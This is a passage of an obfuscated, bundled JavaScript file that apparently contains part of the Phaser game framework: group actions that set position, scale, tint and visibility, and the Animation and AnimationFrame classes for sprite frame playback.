_0x3c3d9f(0x48b), _0x557b3c = _0x3c3d9f(0x4f73); _0x3d7613['exports'] = function (_0x1d648f, _0x40734d, _0x2f8893) { for (var _0x4129e3 = _0x40734d['x'], _0x1163c3 = _0x40734d['y'], _0x101138 = 0x0; _0x101138 < _0x1d648f['length']; _0x101138++) { var _0x212bc3 = _0x1d648f[_0x101138]; _0x33ffe3(_0x212bc3, _0x4129e3, _0x1163c3, _0x2f8893, Math['max'](0x1, _0x557b3c(_0x212bc3['x'], _0x212bc3['y'], _0x4129e3, _0x1163c3))); } return _0x1d648f; }; }, 0x12a2c: (_0x3aacda, _0x4312da, _0x50f59d) => { var _0x35cb4e = _0x50f59d(0x48b); _0x3aacda['exports'] = function (_0x31bd9a, _0x27f408, _0x43f976, _0x316d77) { var _0x4fa302 = _0x27f408['x'], _0x356d46 = _0x27f408['y']; if (0x0 === _0x316d77) return _0x31bd9a; for (var _0x3ef294 = 0x0; _0x3ef294 < _0x31bd9a['length']; _0x3ef294++)_0x35cb4e(_0x31bd9a[_0x3ef294], _0x4fa302, _0x356d46, _0x43f976, _0x316d77); return _0x31bd9a; }; }, 0xf0b3: (_0x332d1d, _0x1e7ffe, _0x1cbbd3) => { var _0x28514c = _0x1cbbd3(0x105a3); _0x332d1d['exports'] = function (_0x3f79c2, _0xc6080c, _0x1f3930, _0x1be8fb, _0x21881a) { return _0x28514c(_0x3f79c2, 'scaleX', _0xc6080c, _0x1f3930, _0x1be8fb, _0x21881a); }; }, 0x17294: (_0x393b95, _0x3fbe1b, _0x5f404c) => { var _0x18789d = _0x5f404c(0x105a3); _0x393b95['exports'] = function (_0xa2dd17, _0xfb760e, _0x36b3a2, _0x3f74bf, _0x402955, _0x223dde, _0x2a7856) { return null == _0x36b3a2 && (_0x36b3a2 = _0xfb760e), _0x18789d(_0xa2dd17, 'scaleX', _0xfb760e, _0x3f74bf, _0x223dde, _0x2a7856), _0x18789d(_0xa2dd17, 'scaleY', _0x36b3a2, _0x402955, _0x223dde, _0x2a7856); }; }, 0x1752c: (_0x1e11a2, _0x13dc12, _0x2473aa) => { var _0xd32569 = _0x2473aa(0x105a3); _0x1e11a2['exports'] = function (_0x1a998d, _0x404f55, _0x14d51c, _0x2f91c5, _0x2885b5) { return _0xd32569(_0x1a998d, 'scaleY', _0x404f55, _0x14d51c, _0x2f91c5, _0x2885b5); }; }, 0x21f1: (_0x16c8b7, _0x4721e3, _0x56ba38) => { var _0x55f5f4 = _0x56ba38(0xabbf); _0x16c8b7['exports'] = function (_0x4590b9, _0x2b3942, _0x36c3b3, _0x101d68, _0xb598f8) { return _0x55f5f4(_0x4590b9, 'alpha', _0x2b3942, _0x36c3b3, _0x101d68, _0xb598f8); }; }, 0xa55: (_0xcea579, _0x2d4fa5, _0x2eeaf4) => { var _0x44f903 = _0x2eeaf4(0xabbf); _0xcea579['exports'] = function (_0x24055b, _0x2d25ad, _0x486074, _0x29e7b2) { return _0x44f903(_0x24055b, 'blendMode', _0x2d25ad, 0x0, _0x486074, _0x29e7b2); }; }, 0x7e74: (_0x19ba5c, _0x20648e, _0x45ae92) => { var _0x146214 = _0x45ae92(0xabbf); _0x19ba5c['exports'] = function (_0xb50405, _0x4605d9, _0x32e556, _0x3a846a, _0x3b632d) { return _0x146214(_0xb50405, 'depth', _0x4605d9, _0x32e556, _0x3a846a, _0x3b632d); }; }, 0x14d7d: _0x3ae47b => { _0x3ae47b['exports'] = function (_0x407518, _0x439211, _0xd1861f) { for (var _0x48de04 = 0x0; _0x48de04 < _0x407518['length']; _0x48de04++)_0x407518[_0x48de04]['setInteractive'](_0x439211, _0xd1861f); return _0x407518; }; }, 0x13eaf: (_0x4037ec, _0xf086a7, _0x237bf7) => { var _0x230714 = _0x237bf7(0xabbf); _0x4037ec['exports'] = function (_0x552117, _0x27d7fd, _0x36a079, _0x1f8fa9, _0x2b76bf, _0x3e460f, _0xff7f68) { return null == _0x36a079 && (_0x36a079 = _0x27d7fd), _0x230714(_0x552117, 'originX', _0x27d7fd, _0x1f8fa9, _0x3e460f, _0xff7f68), _0x230714(_0x552117, 'originY', _0x36a079, _0x2b76bf, _0x3e460f, _0xff7f68), _0x552117['forEach'](function (_0x4af401) { _0x4af401['updateDisplayOrigin'](); }), _0x552117; }; }, 0x13843: (_0xfbb480, _0xa04c75, _0x5c1cb7) => { var _0x261841 = _0x5c1cb7(0xabbf); _0xfbb480['exports'] = function (_0x3a18b2, _0x5e149a, _0x65bb7d, _0x51a32e, _0x4372dc) { return _0x261841(_0x3a18b2, 'rotation', _0x5e149a, _0x65bb7d, _0x51a32e, _0x4372dc); }; }, 0xa8b: (_0x19e1d6, _0x477c74, _0x2f7125) => { var _0xafebb = _0x2f7125(0xabbf); _0x19e1d6['exports'] = function (_0x1d5aa4, _0x1a92d7, _0x5dc094, _0x3f71b2, _0x225d24, _0x28ff5d, _0x1b809b) { return null == _0x5dc094 && (_0x5dc094 = _0x1a92d7), _0xafebb(_0x1d5aa4, 'scaleX', _0x1a92d7, _0x3f71b2, _0x28ff5d, _0x1b809b), _0xafebb(_0x1d5aa4, 'scaleY', _0x5dc094, _0x225d24, _0x28ff5d, _0x1b809b); }; }, 0x181b3: (_0x469dfd, _0x19bd70, _0xbf5fb2) => { var _0x31339c = _0xbf5fb2(0xabbf); _0x469dfd['exports'] = function (_0x33e0bb, _0x2b9bf6, _0x1517c1, _0xca5005, _0xb33026) { return _0x31339c(_0x33e0bb, 'scaleX', _0x2b9bf6, _0x1517c1, _0xca5005, _0xb33026); }; }, 0x180ac: (_0x57f012, _0x38349b, _0x59cac1) => { var _0x216837 = _0x59cac1(0xabbf); _0x57f012['exports'] = function (_0x155b78, _0x2ea7ca, _0x3e18b4, _0x2fde19, _0x323f6e) { return _0x216837(_0x155b78, 'scaleY', _0x2ea7ca, _0x3e18b4, _0x2fde19, _0x323f6e); }; }, 0x183f: (_0x2cbf63, _0x5c01cf, _0x40f13a) => { var _0x53859f = _0x40f13a(0xabbf); _0x2cbf63['exports'] = function (_0x55246e, _0x3048ca, _0x51520a, _0xe57237, _0x3cb1a4, _0x494d9f, _0x5b6b0a) { return null == _0x51520a && (_0x51520a = _0x3048ca), _0x53859f(_0x55246e, 'scrollFactorX', _0x3048ca, _0xe57237, _0x494d9f, _0x5b6b0a), _0x53859f(_0x55246e, 'scrollFactorY', _0x51520a, _0x3cb1a4, _0x494d9f, _0x5b6b0a); }; }, 0x19cf: (_0x2ae570, _0x4ad915, _0x5dae03) => { var _0x249245 = _0x5dae03(0xabbf); _0x2ae570['exports'] = function (_0x3edb95, _0xcddc44, _0x3cdc26, _0x5a4552, _0x457ee3) { return _0x249245(_0x3edb95, 'scrollFactorX', _0xcddc44, _0x3cdc26, _0x5a4552, _0x457ee3); }; }, 0x11a38: (_0x182e3a, _0x43e194, _0x43e18a) => { var _0x524789 = _0x43e18a(0xabbf); _0x182e3a['exports'] = function (_0x4ed765, _0x281351, _0x1b9ea4, _0x44b469, _0x337d78) { return _0x524789(_0x4ed765, 'scrollFactorY', _0x281351, _0x1b9ea4, _0x44b469, _0x337d78); }; }, 0x36d4: _0x20fe75 => { _0x20fe75['exports'] = function (_0x10d7b9, _0x1b3506, _0x1edfd8, _0x303239, _0x18664c) { for (var _0x2afc98 = 0x0; _0x2afc98 < _0x10d7b9['length']; _0x2afc98++)_0x10d7b9[_0x2afc98]['setTint'](_0x1b3506, _0x1edfd8, _0x303239, _0x18664c); return _0x10d7b9; }; }, 0xc3ef: (_0x2674ed, _0x28a2dd, _0x1cdae4) => { var _0x520779 = _0x1cdae4(0xabbf); _0x2674ed['exports'] = function (_0x505d63, _0x2a18f6, _0x22d552, _0x2e2b69) { return _0x520779(_0x505d63, 'visible', _0x2a18f6, 0x0, _0x22d552, _0x2e2b69); }; }, 0x12f1d: (_0x1ea3ad, _0x3f4ce7, _0x906bb9) => { var _0x2dc2ec = _0x906bb9(0xabbf); _0x1ea3ad['exports'] = function (_0x108d62, _0x1c600b, _0xcf783a, _0x36e73b, _0x4bd872) { return _0x2dc2ec(_0x108d62, 'x', _0x1c600b, _0xcf783a, _0x36e73b, _0x4bd872); }; }, 0x144fa: (_0x4eb75f, _0x576949, _0x1510d9) => { var _0x3c5ad9 = _0x1510d9(0xabbf); _0x4eb75f['exports'] = function (_0x159f65, _0x4d17b7, _0x585c5a, _0x1d1e22, _0x1bc1c8, _0x3a8713, _0x5e857d) { return null == _0x585c5a && (_0x585c5a = _0x4d17b7), _0x3c5ad9(_0x159f65, 'x', _0x4d17b7, _0x1d1e22, _0x3a8713, _0x5e857d), _0x3c5ad9(_0x159f65, 'y', _0x585c5a, _0x1bc1c8, _0x3a8713, _0x5e857d); }; }, 0x1085e: (_0x1a6446, _0x57541d, _0x56ad4b) => { var _0x1fba76 = _0x56ad4b(0xabbf); _0x1a6446['exports'] = function (_0x4b8aec, _0x1e4aef, _0x1428c1, _0x3d0050, _0x47b2d4) { return _0x1fba76(_0x4b8aec, 'y', _0x1e4aef, _0x1428c1, _0x3d0050, _0x47b2d4); }; }, 0x8c0a: (_0x215389, _0x3677d0, _0x4a0983) => { var _0xc23cc9 = _0x4a0983(0x65f3); _0x215389['exports'] = function (_0x5c5d56, _0x5073bf, _0x47c34a, _0x46f1ce, _0x21c25d) { var _0x437ac4, _0x57a307; void 0x0 === _0x46f1ce && (_0x46f1ce = 0x0), void 0x0 === _0x21c25d && (_0x21c25d = new _0xc23cc9()); var _0x1a3134 = _0x5c5d56['length']; if (0x1 === _0x1a3134) _0x437ac4 = _0x5c5d56[0x0]['x'], _0x57a307 = _0x5c5d56[0x0]['y'], _0x5c5d56[0x0]['x'] = _0x5073bf, _0x5c5d56[0x0]['y'] = _0x47c34a; else { var _0x5c0cc1 = 0x1, _0x14043a = 0x0; 0x0 === _0x46f1ce && (_0x14043a = _0x1a3134 - 0x1, _0x5c0cc1 = _0x1a3134 - 0x2), _0x437ac4 = _0x5c5d56[_0x14043a]['x'], _0x57a307 = _0x5c5d56[_0x14043a]['y'], _0x5c5d56[_0x14043a]['x'] = _0x5073bf, _0x5c5d56[_0x14043a]['y'] = _0x47c34a; for (var _0x2ef295 = 0x0; _0x2ef295 < _0x1a3134; _0x2ef295++)if (!(_0x5c0cc1 >= _0x1a3134 || -0x1 === _0x5c0cc1)) { var _0x2e0b8a = _0x5c5d56[_0x5c0cc1], _0x1f35e5 = _0x2e0b8a['x'], _0x3d5592 = _0x2e0b8a['y']; _0x2e0b8a['x'] = _0x437ac4, _0x2e0b8a['y'] = _0x57a307, _0x437ac4 = _0x1f35e5, _0x57a307 = _0x3d5592, 0x0 === _0x46f1ce ? _0x5c0cc1-- : _0x5c0cc1++; } } return _0x21c25d['x'] = _0x437ac4, _0x21c25d['y'] = _0x57a307, _0x21c25d; }; }, 0x21b4: (_0x27aadb, _0x2e3cb3, _0x39c17b) => { var _0x1bac6d = _0x39c17b(0x8390); _0x27aadb['exports'] = function (_0xa2c21d) { return _0x1bac6d(_0xa2c21d); }; }, 0x554d: (_0x25b1f4, _0x14b009, _0x2e2935) => { var _0x18a33c = _0x2e2935(0x1db2); _0x25b1f4['exports'] = function (_0x301c88, _0x2b3cfc, _0xd2617f, _0x297bb3, _0x1034c0) { void 0x0 === _0x1034c0 && (_0x1034c0 = !0x1); var _0x4a6859, _0x5c2388 = Math['abs'](_0x297bb3 - _0xd2617f) / _0x301c88['length']; if (_0x1034c0) { for (_0x4a6859 = 0x0; _0x4a6859 < _0x301c88['length']; _0x4a6859++)_0x301c88[_0x4a6859][_0x2b3cfc] += _0x18a33c(_0x4a6859 * _0x5c2388, _0xd2617f, _0x297bb3); } else { for (_0x4a6859 = 0x0; _0x4a6859 < _0x301c88['length']; _0x4a6859++)_0x301c88[_0x4a6859][_0x2b3cfc] = _0x18a33c(_0x4a6859 * _0x5c2388, _0xd2617f, _0x297bb3); } return _0x301c88; }; }, 0x5596: (_0x1a4e0f, _0x3e0215, _0x18a479) => { var _0x406f25 = _0x18a479(0xd3f5); _0x1a4e0f['exports'] = function (_0x595de1, _0x497e13, _0x177c67, _0x5d70ee, _0x35b317) { void 0x0 === _0x35b317 && (_0x35b317 = !0x1); var _0x4e5409, _0x5ea2b8 = Math['abs'](_0x5d70ee - _0x177c67) / _0x595de1['length']; if (_0x35b317) { for (_0x4e5409 = 0x0; _0x4e5409 < _0x595de1['length']; _0x4e5409++)_0x595de1[_0x4e5409][_0x497e13] += _0x406f25(_0x4e5409 * _0x5ea2b8, _0x177c67, _0x5d70ee); } else { for (_0x4e5409 = 0x0; _0x4e5409 < _0x595de1['length']; _0x4e5409++)_0x595de1[_0x4e5409][_0x497e13] = _0x406f25(_0x4e5409 * _0x5ea2b8, _0x177c67, _0x5d70ee); } return _0x595de1; }; }, 0xf266: _0x564c41 => { _0x564c41['exports'] = function (_0xe9d742, _0x525add, _0x587c0a, _0x5253e4, _0x2a93e6) { if (void 0x0 === _0x2a93e6 && (_0x2a93e6 = !0x1), 0x0 === _0xe9d742['length']) return _0xe9d742; if (0x1 === _0xe9d742['length']) return _0x2a93e6 ? _0xe9d742[0x0][_0x525add] += (_0x5253e4 + _0x587c0a) / 0x2 : _0xe9d742[0x0][_0x525add] = (_0x5253e4 + _0x587c0a) / 0x2, _0xe9d742; var _0x7b0f8, _0x465e29 = Math['abs'](_0x5253e4 - _0x587c0a) / (_0xe9d742['length'] - 0x1); if (_0x2a93e6) { for (_0x7b0f8 = 0x0; _0x7b0f8 < _0xe9d742['length']; _0x7b0f8++)_0xe9d742[_0x7b0f8][_0x525add] += _0x7b0f8 * _0x465e29 + _0x587c0a; } else { for (_0x7b0f8 = 0x0; _0x7b0f8 < _0xe9d742['length']; _0x7b0f8++)_0xe9d742[_0x7b0f8][_0x525add] = _0x7b0f8 * _0x465e29 + _0x587c0a; } return _0xe9d742; }; }, 0x137c7: _0x50662e => { _0x50662e['exports'] = function (_0x129330) { for (var _0x248752 = 0x0; _0x248752 < _0x129330['length']; _0x248752++)_0x129330[_0x248752]['visible'] = !_0x129330[_0x248752]['visible']; return _0x129330; }; }, 0x9af1: (_0x58af87, _0x43e451, _0x336265) => { var _0x3cb6a0 = _0x336265(0x3e7a); _0x58af87['exports'] = function (_0x2984c7, _0x216706, _0x52c313) { void 0x0 === _0x52c313 && (_0x52c313 = 0x0); for (var _0x5268a1 = 0x0; _0x5268a1 < _0x2984c7['length']; _0x5268a1++) { var _0x1b08a5 = _0x2984c7[_0x5268a1]; _0x1b08a5['x'] = _0x3cb6a0(_0x1b08a5['x'], _0x216706['left'] - _0x52c313, _0x216706['right'] + _0x52c313), _0x1b08a5['y'] = _0x3cb6a0(_0x1b08a5['y'], _0x216706['top'] - _0x52c313, _0x216706['bottom'] + _0x52c313); } return _0x2984c7; }; }, 0xee85: (_0x4fe154, _0x11f7e1, _0x50d859) => { _0x4fe154['exports'] = { 'AlignTo': _0x50d859(0x2cfd), 'Angle': _0x50d859(0x139be), 'Call': _0x50d859(0xed55), 'GetFirst': _0x50d859(0x11127), 'GetLast': _0x50d859(0x7e09), 'GridAlign': _0x50d859(0x170d4), 'IncAlpha': _0x50d859(0xa2f9), 'IncX': _0x50d859(0x106d5), 'IncXY': _0x50d859(0x2372), 'IncY': _0x50d859(0x125d6), 'PlaceOnCircle': _0x50d859(0x59c7), 'PlaceOnEllipse': _0x50d859(0x17415), 'PlaceOnLine': _0x50d859(0x159b9), 'PlaceOnRectangle': _0x50d859(0xa182), 'PlaceOnTriangle': _0x50d859(0x2d37), 'PlayAnimation': _0x50d859(0x7501), 'PropertyValueInc': _0x50d859(0x105a3), 'PropertyValueSet': _0x50d859(0xabbf), 'RandomCircle': _0x50d859(0x15b5e), 'RandomEllipse': _0x50d859(0x8206), 'RandomLine': _0x50d859(0x17700), 'RandomRectangle': _0x50d859(0x7075), 'RandomTriangle': _0x50d859(0x17b82), 'Rotate': _0x50d859(0x501e), 'RotateAround': _0x50d859(0x163ab), 'RotateAroundDistance': _0x50d859(0x12a2c), 'ScaleX': _0x50d859(0xf0b3), 'ScaleXY': _0x50d859(0x17294), 'ScaleY': _0x50d859(0x1752c), 'SetAlpha': _0x50d859(0x21f1), 'SetBlendMode': _0x50d859(0xa55), 'SetDepth': _0x50d859(0x7e74), 'SetHitArea': _0x50d859(0x14d7d), 'SetOrigin': _0x50d859(0x13eaf), 'SetRotation': _0x50d859(0x13843), 'SetScale': _0x50d859(0xa8b), 'SetScaleX': _0x50d859(0x181b3), 'SetScaleY': _0x50d859(0x180ac), 'SetScrollFactor': _0x50d859(0x183f), 'SetScrollFactorX': _0x50d859(0x19cf), 'SetScrollFactorY': _0x50d859(0x11a38), 'SetTint': _0x50d859(0x36d4), 'SetVisible': _0x50d859(0xc3ef), 'SetX': _0x50d859(0x12f1d), 'SetXY': _0x50d859(0x144fa), 'SetY': _0x50d859(0x1085e), 'ShiftPosition': _0x50d859(0x8c0a), 'Shuffle': _0x50d859(0x21b4), 'SmootherStep': _0x50d859(0x5596), 'SmoothStep': _0x50d859(0x554d), 'Spread': _0x50d859(0xf266), 'ToggleVisible': _0x50d859(0x137c7), 'WrapInRectangle': _0x50d859(0x9af1) }; }, 0xa473: (_0x153cc1, _0x4362b8, _0x185ae8) => { var _0x3fa5a4 = _0x185ae8(0xb107), _0x59a827 = _0x185ae8(0x145db), _0x5982ca = _0x185ae8(0x124bf), _0x4b4fce = _0x185ae8(0x14025), _0x59eb44 = _0x185ae8(0xa0b2), _0x1f4de4 = _0x185ae8(0x8952), _0x5c1ec3 = _0x185ae8(0x1600e), _0x289895 = new _0x59a827({ 'initialize': function (_0x518350, _0x45617b, _0x542f0e) { this['manager'] = _0x518350, this['key'] = _0x45617b, this['type'] = 'frame', this['frames'] = this['getFrames'](_0x518350['textureManager'], _0x1f4de4(_0x542f0e, 'frames', []), _0x1f4de4(_0x542f0e, 'defaultTextureKey', null), _0x1f4de4(_0x542f0e, 'sortFrames', !0x0)), this['frameRate'] = _0x1f4de4(_0x542f0e, 'frameRate', null), this['duration'] = _0x1f4de4(_0x542f0e, 'duration', null), this['msPerFrame'], this['skipMissedFrames'] = _0x1f4de4(_0x542f0e, 'skipMissedFrames', !0x0), this['delay'] = _0x1f4de4(_0x542f0e, 'delay', 0x0), this['repeat'] = _0x1f4de4(_0x542f0e, 'repeat', 0x0), this['repeatDelay'] = _0x1f4de4(_0x542f0e, 'repeatDelay', 0x0), this['yoyo'] = _0x1f4de4(_0x542f0e, 'yoyo', !0x1), this['showBeforeDelay'] = _0x1f4de4(_0x542f0e, 'showBeforeDelay', !0x1), this['showOnStart'] = _0x1f4de4(_0x542f0e, 'showOnStart', !0x1), this['hideOnComplete'] = _0x1f4de4(_0x542f0e, 'hideOnComplete', !0x1), this['randomFrame'] = _0x1f4de4(_0x542f0e, 'randomFrame', !0x1), this['paused'] = !0x1, this['calculateDuration'](this, this['getTotalFrames'](), this['duration'], this['frameRate']), this['manager']['on'] && (this['manager']['on'](_0x5982ca['PAUSE_ALL'], this['pause'], this), this['manager']['on'](_0x5982ca['RESUME_ALL'], this['resume'], this)); }, 'getTotalFrames': function () { return this['frames']['length']; }, 'calculateDuration': function (_0x1d72f1, _0x23e88c, _0x507095, _0x502a80) { null === _0x507095 && null === _0x502a80 ? (_0x1d72f1['frameRate'] = 0x18, _0x1d72f1['duration'] = 0x18 / _0x23e88c * 0x3e8) : _0x507095 && null === _0x502a80 ? (_0x1d72f1['duration'] = _0x507095, _0x1d72f1['frameRate'] = _0x23e88c / (_0x507095 / 0x3e8)) : (_0x1d72f1['frameRate'] = _0x502a80, _0x1d72f1['duration'] = _0x23e88c / _0x502a80 * 0x3e8), _0x1d72f1['msPerFrame'] = 0x3e8 / _0x1d72f1['frameRate']; }, 'addFrame': function (_0x1183d6) { return this['addFrameAt'](this['frames']['length'], _0x1183d6); }, 'addFrameAt': function (_0x4c83c4, _0x183049) { var _0x616f07 = this['getFrames'](this['manager']['textureManager'], _0x183049); if (_0x616f07['length'] > 0x0) { if (0x0 === _0x4c83c4) this['frames'] = _0x616f07['concat'](this['frames']); else { if (_0x4c83c4 === this['frames']['length']) this['frames'] = this['frames']['concat'](_0x616f07); else { var _0x12e268 = this['frames']['slice'](0x0, _0x4c83c4), _0x92f7d4 = this['frames']['slice'](_0x4c83c4); this['frames'] = _0x12e268['concat'](_0x616f07, _0x92f7d4); } } this['updateFrameSequence'](); } return this; }, 'checkFrame': function (_0x447e37) { return _0x447e37 >= 0x0 && _0x447e37 < this['frames']['length']; }, 'getFirstTick': function (_0x4543e9) { _0x4543e9['accumulator'] = 0x0, _0x4543e9['nextTick'] = _0x4543e9['currentFrame']['duration'] ? _0x4543e9['currentFrame']['duration'] : _0x4543e9['msPerFrame']; }, 'getFrameAt': function (_0x3f3075) { return this['frames'][_0x3f3075]; }, 'getFrames': function (_0x475374, _0x4cc085, _0x2ec42a, _0x2db768) { void 0x0 === _0x2db768 && (_0x2db768 = !0x0); var _0x4a64d9, _0x2c6b07, _0x15a91f, _0x5c6e44, _0x590865 = [], _0x2c8058 = 0x1; if ('string' == typeof _0x4cc085) { if (_0x5c6e44 = _0x4cc085, !_0x475374['exists'](_0x5c6e44)) return _0x590865; var _0x5955a1 = _0x475374['get'](_0x5c6e44)['getFrameNames'](); _0x2db768 && _0x5c1ec3(_0x5955a1), _0x4cc085 = [], _0x5955a1['forEach'](function (_0x1d54e6) { _0x4cc085['push']({ 'key': _0x5c6e44, 'frame': _0x1d54e6 }); }); } if (!Array['isArray'](_0x4cc085) || 0x0 === _0x4cc085['length']) return _0x590865; for (_0x15a91f = 0x0; _0x15a91f < _0x4cc085['length']; _0x15a91f++) { var _0x4ab963 = _0x4cc085[_0x15a91f], _0x2f279b = _0x1f4de4(_0x4ab963, 'key', _0x2ec42a); if (_0x2f279b) { var _0x335a0e = _0x1f4de4(_0x4ab963, 'frame', 0x0), _0x2c92a0 = _0x475374['getFrame'](_0x2f279b, _0x335a0e); _0x2c92a0 && ((_0x2c6b07 = new _0x59eb44(_0x2f279b, _0x335a0e, _0x2c8058, _0x2c92a0))['duration'] = _0x1f4de4(_0x4ab963, 'duration', 0x0), _0x2c6b07['isFirst'] = !_0x4a64d9, _0x4a64d9 && (_0x4a64d9['nextFrame'] = _0x2c6b07, _0x2c6b07['prevFrame'] = _0x4a64d9), _0x590865['push'](_0x2c6b07), _0x4a64d9 = _0x2c6b07, _0x2c8058++); } } if (_0x590865['length'] > 0x0) { _0x2c6b07['isLast'] = !0x0, _0x2c6b07['nextFrame'] = _0x590865[0x0], _0x590865[0x0]['prevFrame'] = _0x2c6b07; var _0x518d4a = 0x1 / (_0x590865['length'] - 0x1); for (_0x15a91f = 0x0; _0x15a91f < _0x590865['length']; _0x15a91f++)_0x590865[_0x15a91f]['progress'] = _0x15a91f * _0x518d4a; } return _0x590865; }, 'getNextTick': function (_0x5a9d1a) { _0x5a9d1a['accumulator'] -= _0x5a9d1a['nextTick'], _0x5a9d1a['nextTick'] = _0x5a9d1a['currentFrame']['duration'] ? _0x5a9d1a['currentFrame']['duration'] : _0x5a9d1a['msPerFrame']; }, 'getFrameByProgress': function (_0x5d6f46) { return _0x5d6f46 = _0x3fa5a4(_0x5d6f46, 0x0, 0x1), _0x4b4fce(_0x5d6f46, this['frames'], 'progress'); }, 'nextFrame': function (_0x386ab1) { var _0x3e820f = _0x386ab1['currentFrame']; _0x3e820f['isLast'] ? _0x386ab1['yoyo'] ? this['handleYoyoFrame'](_0x386ab1, !0x1) : _0x386ab1['repeatCounter'] > 0x0 ? _0x386ab1['inReverse'] && _0x386ab1['forward'] ? _0x386ab1['forward'] = !0x1 : this['repeatAnimation'](_0x386ab1) : _0x386ab1['complete']() : this['updateAndGetNextTick'](_0x386ab1, _0x3e820f['nextFrame']); }, 'handleYoyoFrame': function (_0xc8499d, _0x1358d5) { if (_0x1358d5 || (_0x1358d5 = !0x1), _0xc8499d['inReverse'] === !_0x1358d5 && _0xc8499d['repeatCounter'] > 0x0) return (0x0 === _0xc8499d['repeatDelay'] || _0xc8499d['pendingRepeat']) && (_0xc8499d['forward'] = _0x1358d5), void this['repeatAnimation'](_0xc8499d); if (_0xc8499d['inReverse'] === _0x1358d5 || 0x0 !== _0xc8499d['repeatCounter']) { _0xc8499d['forward'] = _0x1358d5; var _0x334232 = _0x1358d5 ? _0xc8499d['currentFrame']['nextFrame'] : _0xc8499d['currentFrame']['prevFrame']; this['updateAndGetNextTick'](_0xc8499d, _0x334232); } else _0xc8499d['complete'](); }, 'getLastFrame': function () { return this['frames'][this['frames']['length'] - 0x1]; }, 'previousFrame': function (_0x115912) { var _0x2d0539 = _0x115912['currentFrame']; _0x2d0539['isFirst'] ? _0x115912['yoyo'] ? this['handleYoyoFrame'](_0x115912, !0x0) : _0x115912['repeatCounter'] > 0x0 ? (_0x115912['inReverse'] && !_0x115912['forward'] || (_0x115912['forward'] = !0x0), this['repeatAnimation'](_0x115912)) : _0x115912['complete']() : this['updateAndGetNextTick'](_0x115912, _0x2d0539['prevFrame']); }, 'updateAndGetNextTick': function (_0x40a318, _0x492712) { _0x40a318['setCurrentFrame'](_0x492712), this['getNextTick'](_0x40a318); }, 'removeFrame': function (_0x4f919d) { var _0x2e83c8 = this['frames']['indexOf'](_0x4f919d); return -0x1 !== _0x2e83c8 && this['removeFrameAt'](_0x2e83c8), this; }, 'removeFrameAt': function (_0x2a5ab1) { return this['frames']['splice'](_0x2a5ab1, 0x1), this['updateFrameSequence'](), this; }, 'repeatAnimation': function (_0x4192b7) { if (0x2 === _0x4192b7['_pendingStop']) { if (0x0 === _0x4192b7['_pendingStopValue']) return _0x4192b7['stop'](); _0x4192b7['_pendingStopValue']--; } _0x4192b7['repeatDelay'] > 0x0 && !_0x4192b7['pendingRepeat'] ? (_0x4192b7['pendingRepeat'] = !0x0, _0x4192b7['accumulator'] -= _0x4192b7['nextTick'], _0x4192b7['nextTick'] += _0x4192b7['repeatDelay']) : (_0x4192b7['repeatCounter']--, _0x4192b7['forward'] ? _0x4192b7['setCurrentFrame'](_0x4192b7['currentFrame']['nextFrame']) : _0x4192b7['setCurrentFrame'](_0x4192b7['currentFrame']['prevFrame']), _0x4192b7['isPlaying'] && (this['getNextTick'](_0x4192b7), _0x4192b7['handleRepeat']())); }, 'toJSON': function () { var _0x471252 = { 'key': this['key'], 'type': this['type'], 'frames': [], 'frameRate': this['frameRate'], 'duration': this['duration'], 'skipMissedFrames': this['skipMissedFrames'], 'delay': this['delay'], 'repeat': this['repeat'], 'repeatDelay': this['repeatDelay'], 'yoyo': this['yoyo'], 'showBeforeDelay': this['showBeforeDelay'], 'showOnStart': this['showOnStart'], 'randomFrame': this['randomFrame'], 'hideOnComplete': this['hideOnComplete'] }; return this['frames']['forEach'](function (_0x8d6ebb) { _0x471252['frames']['push'](_0x8d6ebb['toJSON']()); }), _0x471252; }, 'updateFrameSequence': function () { for (var _0x19d16a, _0x3a5f43 = this['frames']['length'], _0x24b545 = 0x1 / (_0x3a5f43 - 0x1), _0x4196d2 = 0x0; _0x4196d2 < _0x3a5f43; _0x4196d2++)(_0x19d16a = this['frames'][_0x4196d2])['index'] = _0x4196d2 + 0x1, _0x19d16a['isFirst'] = !0x1, _0x19d16a['isLast'] = !0x1, _0x19d16a['progress'] = _0x4196d2 * _0x24b545, 0x0 === _0x4196d2 ? (_0x19d16a['isFirst'] = !0x0, 0x1 === _0x3a5f43 ? (_0x19d16a['isLast'] = !0x0, _0x19d16a['nextFrame'] = _0x19d16a, _0x19d16a['prevFrame'] = _0x19d16a) : (_0x19d16a['isLast'] = !0x1, _0x19d16a['prevFrame'] = this['frames'][_0x3a5f43 - 0x1], _0x19d16a['nextFrame'] = this['frames'][_0x4196d2 + 0x1])) : _0x4196d2 === _0x3a5f43 - 0x1 && _0x3a5f43 > 0x1 ? (_0x19d16a['isLast'] = !0x0, _0x19d16a['prevFrame'] = this['frames'][_0x3a5f43 - 0x2], _0x19d16a['nextFrame'] = this['frames'][0x0]) : _0x3a5f43 > 0x1 && (_0x19d16a['prevFrame'] = this['frames'][_0x4196d2 - 0x1], _0x19d16a['nextFrame'] = this['frames'][_0x4196d2 + 0x1]); return this; }, 'pause': function () { return this['paused'] = !0x0, this; }, 'resume': function () { return this['paused'] = !0x1, this; }, 'destroy': function () { this['manager']['off'] && (this['manager']['off'](_0x5982ca['PAUSE_ALL'], this['pause'], this), this['manager']['off'](_0x5982ca['RESUME_ALL'], this['resume'], this)), this['manager']['remove'](this['key']); for (var _0x319e3d = 0x0; _0x319e3d < this['frames']['length']; _0x319e3d++)this['frames'][_0x319e3d]['destroy'](); this['frames'] = [], this['manager'] = null; } }); _0x153cc1['exports'] = _0x289895; }, 0xa0b2: (_0x3d714e, _0x56b5ed, _0x19c1a6) => { var _0x50ead4 = new (_0x19c1a6(0x145db))({ 'initialize': function (_0x52256e, _0x557810, _0x57a608, _0x5d2c62, _0xee0339) { void 0x0 === _0xee0339 && (_0xee0339 = !0x1), this['textureKey'] = _0x52256e, this['textureFrame'] = _0x557810, this['index'] = _0x57a608, this['frame'] = _0x5d2c62, this['isFirst'] = !0x1, this['isLast'] = !0x1, this['prevFrame'] = null, this['nextFrame'] = null, this['duration'] = 0x0, this['progress'] = 0x0, this['isKeyFrame'] = _0xee0339; }, 'toJSON': function () { return { 'key': this['textureKey'], 'frame': this['textureFrame'], 'duration': this['duration'], 'keyframe': this['isKeyFrame'] }; }, 'destroy': function () { this['frame'] = void 0x0; } }); _0x3d714e['exports'] = _0x50ead4; }, 0xedb0: (_0x59352d, _0x56f30d, _0x5dbe38) => { var _0x44d0ae = _0x5dbe38(0xa473), _0x1b5208 = _0x5dbe38(0x145db), _0x172b05 = _0x5dbe38(0x160da), _0x41cc0e = 